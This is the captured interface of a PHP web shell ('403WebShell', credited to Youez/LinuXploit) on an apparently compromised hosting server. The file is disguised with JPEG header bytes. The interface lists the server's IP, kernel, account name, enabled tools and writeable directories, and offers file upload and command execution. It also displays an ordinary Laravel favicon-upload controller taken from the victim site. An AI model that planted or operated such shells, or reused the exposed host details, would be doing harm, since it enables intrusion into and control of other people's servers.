����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.220.98.157
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Files/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Files/Controllers/UploadFaviconController.php
<?php namespace Common\Files\Controllers;

use Common\Core\BaseController;
use Common\Settings\Setting;
use Common\Settings\Settings;
use File;
use Illuminate\Http\Request;
use Image;

class UploadFaviconController extends BaseController
{
    /**
     * @var Request
     */
    private $request;

    /**
     * @var Settings
     */
    private $settings;

    /**
     * Need to store favicon in "client" sub-dir because
     * angular cli prepends paths in manifest.json with "client"
     */
    const FAVICON_DIR = 'client/favicon';

    private $sizes = [
        [72, 72],
        [96, 96],
        [128, 128],
        [144, 144],
        [152, 152],
        [192, 192],
        [384, 384],
        [512, 512],
    ];

    public function __construct(Request $request, Settings $settings)
    {
        $this->request = $request;
        $this->settings = $settings;
    }

    public function store()
    {
        $this->authorize('update', Setting::class);

        $this->validate($this->request, [
            'file' => 'required|file'
        ]);

        if ( ! File::exists($this->absoluteFaviconDir())) {
            File::makeDirectory($this->absoluteFaviconDir());
        }

        foreach ($this->sizes as $size) {
           $this->saveFaviconForSize($size);
        }
        $this->saveFaviconForSize([16, 16], public_path(), 'favicon.ico');

        $uri = self::FAVICON_DIR . '/icon-144x144.png';
        $this->settings->save(['branding.favicon' => $uri]);

        // need to set url as file entry for appearance
        // image input to preview image properly
        return $this->success(['fileEntry' => ['url' => $uri]]);
    }

    private function saveFaviconForSize(array $size, string $dir = null, string $name = null)
    {
        $img = Image::make($this->request->file('file'));

        $img->fit($size[0], $size[1]);

        $img->encode('png');

        if ( ! $dir) {
            $dir = $this->absoluteFaviconDir();
        }

        if ( ! $name) {
            $name = "icon-$size[0]x$size[1].png";
        }

        File::put("$dir/$name", $img);
    }

    private function absoluteFaviconDir(): string
    {
        return public_path(self::FAVICON_DIR);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit